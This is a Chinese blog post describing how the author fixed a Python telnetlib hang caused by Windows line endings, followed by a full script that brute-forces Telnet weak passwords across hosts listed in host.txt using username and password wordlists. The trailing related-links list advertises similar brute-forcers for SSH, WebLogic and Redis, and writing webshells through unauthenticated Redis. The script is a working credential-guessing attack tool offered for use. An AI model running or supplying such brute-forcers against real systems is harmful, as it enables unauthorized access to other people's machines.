写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住。然后等了好久后提示

recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has closed t’

虚拟机服务器是Win7的 主机客户也是Win7。

原来代码是:

1、一开始觉得是因为socket 设置的问题,上网查了很久,也按他们的方法改了,但都不管用。

2、后来觉得是因为读取行的问题,linux和Windows返回行信息不同,所以没办法读取到,所以将

tn.read_until("login:")
tn.read_until("password:")

都改成

tn.read_until("\n")

结果还是没用。心疼自己= =

3、于是又找啊找,看到了这篇文章 ,文章作者说:注意:
这个问题将我纠结了好一阵子,最后跟踪调试发送命令字符串
发现在windows操作系统中发送命令时一定要”\r\n”,不然无法识别命令

于是感觉自己看到了曙光,于是又按着改,但还是无功而返。

4、最终,在这个地方找到了问题的原因。有个回答是:

If you’re using Windows, be sure to add carriage return (\r) before the new line character:

tn.write(user.encode(‘ascii’) + “\r\n”.encode(‘ascii’))

我的理解是:在连接Windows操作系统的时候,因为编码的问题,如果直接 tn.write(user+”\n”) 系统不识别,所以改成 tn.write(user.encode(‘ascii’) + “\r\n”.encode(‘ascii’)) 问题即可解决。

Python Telnet弱口令爆破脚本:

#!usr/bin/env python
#!coding=utf-8 __author__ = 'zhengjim' import telnetlib def telnet(host,user,pwd):
try:
tn = telnetlib.Telnet(host,timeout=10)
tn.set_debuglevel(2)
tn.read_until("\n")
tn.write(user.encode('ascii') + "\r\n".encode('ascii'))
tn.read_until("\n")
tn.write(pwd.encode('ascii') + "\r\n".encode('ascii'))
tn.read_all()
print '用户名:' + user + ',密码:' + pwd + '成功'
except:
print '失败' host=open('host.txt')
for line in host:
host=line.strip('\n')
print '开始爆破主机:'+host
user=open('user.txt')
for line in user:
user=line.strip('\n')
pwd =open('pwd.txt')
for line in pwd:
pwd = line.strip('\n')
print user + ':'+pwd
telnet(host,user,pwd)

目录下需要host.txt,user.txt,pwd.txt三个文件

不足是代码比较简单,而且没多线程,效率比较低。

Python Telnet弱口令爆破脚本及遇到的错误与问题的更多相关文章

  1. python ssh弱口令爆破多线程脚本及遇到的一些错误与问题

    练习写了个SSH弱口令爆破多线程脚本,遇到的问题 1.一开始想import pexpect 中的pxssh 然而却一直该有错误, ImportError: cannot import name spa ...

  2. python写批量weblogic爆破脚本

    前言: 整理笔记的时候,发现了weblogic的攻击方法.心里打着算盘看看怎么写 个批量的弱口令爆破脚本.得出了以下思路 思路: 1.利用钟馗之眼采集weblogic的网站,将IP写入到txt 2.添 ...

  3. Telnet弱口令猜解【Python脚本】

    telnet 弱口令猜解脚本 测试环境:window2003.centos7 #! /usr/bin/env python # _*_ coding:utf-8 _*_ import telnetli ...

  4. python 写的http后台弱口令爆破工具

    今天来弄一个后台破解的Python小程序,哈哈,直接上代码吧,都有注释~~ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ...

  5. msf各种弱口令爆破

    Msf: 写的很乱 记录下msf各个爆破弱口令的模块 run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 使用arp_scanner模块 ...

  6. redis未授权弱口令检测脚本(redis未授权访问漏洞,利用redis写webshell)

    以下如有雷同,不胜荣幸 * --- 示例代码!!!!!----*/ #! /usr/bin/env python # _*_  coding:utf-8 _*_ import socket impor ...

  7. 批量redis未授权检测工具&批量redis弱口令爆破工具

    今天需要然后就百度搜索了一波,然后自己稍微改了一下: #!/usr/bin/python3 # -*- coding: utf-8 -*- """ @Author: 偷来 ...

  8. 【python问题系列--2】脚本运行出现语法错误:IndentationError: unindent does not match any outer indentation level

    缩进错误,此错误,最常见的原因是行之间没有对齐. 参考:http://www.crifan.com/python_syntax_error_indentationerror/comment-page- ...

  9. 如何扫描统计全国Telnet默认口令

    如何扫描统计全国Telnet默认口令 zrools2016-01-21共339474人围观 ,发现 23 个不明物体系统安全终端安全 本文原创作者:zrools 本文中介绍的工具.技术带有一定的攻击性 ...

随机推荐

  1. [swustoj 917] K-lucky-number

    K-lucky-number(0917) 问题描述 K-lucky-number is defined as add up the number of each bit is a multiple o ...

  2. spring data jpa入门学习

    本文主要介绍下spring data jpa,主要聊聊为何要使用它进行开发以及它的基本使用.本文主要是入门介绍,并在最后会留下完整的demo供读者进行下载,从而了解并且开始使用spring data ...

  3. JDK7新特性之fork/join框架

    The fork/join framework is an implementation of the ExecutorService interface that helps you take ad ...

  4. PostgreSql字符串函数和操作符

    本节描述了用于检查和操作字符串数值的函数和操作符.在这个环境中的字符串包括所有 character, character varying, text 类型的值.除非另外说明,所有下面列出的函数都可以处 ...

  5. PostgreSql与sqlserver对比杂记

    PostgreSql与MSSqlServer区别 增删查改没有语法一样. 排序Group Having 聚集函数使用一样 联结查询 ON 子句是最常见的连接条件的类型:它接收一个和 WHERE 子句相 ...

  6. 【转】Angular运行原理揭秘 Part 1

    当你用AngularJS写的应用越多, 你会越发的觉得它相当神奇. 之前我用AngularJS实现了相当多酷炫的效果, 所以我决定去看看它的源码, 我想这样也许我能知道它的原理. 下面是我从源码中找到 ...

  7. HTML.ActionLink 和 Url.Action 的区别

    html.ActionLink生成一个<a href=".."></a>标记.而Url.Action只返回一个url.例如:@Html.ActionLink ...

  8. WCF 学习总结3 -- 实例模式

    通过WCF的ServiceBehaviorAttribute设定InstanceContextMode有下面的3中模式: 1. Single —— 表示所有的客户端共享一个会话(服务对象)(服务关闭时 ...

  9. Myeclipse *.link用法

    引用路径 path=D:\\ProgramData\\MyEclipse\\adt

  10. click事件的参数化

    Browser("XXX").Page("XXX").Frame("iframe_main").WebElement("TB-50 ...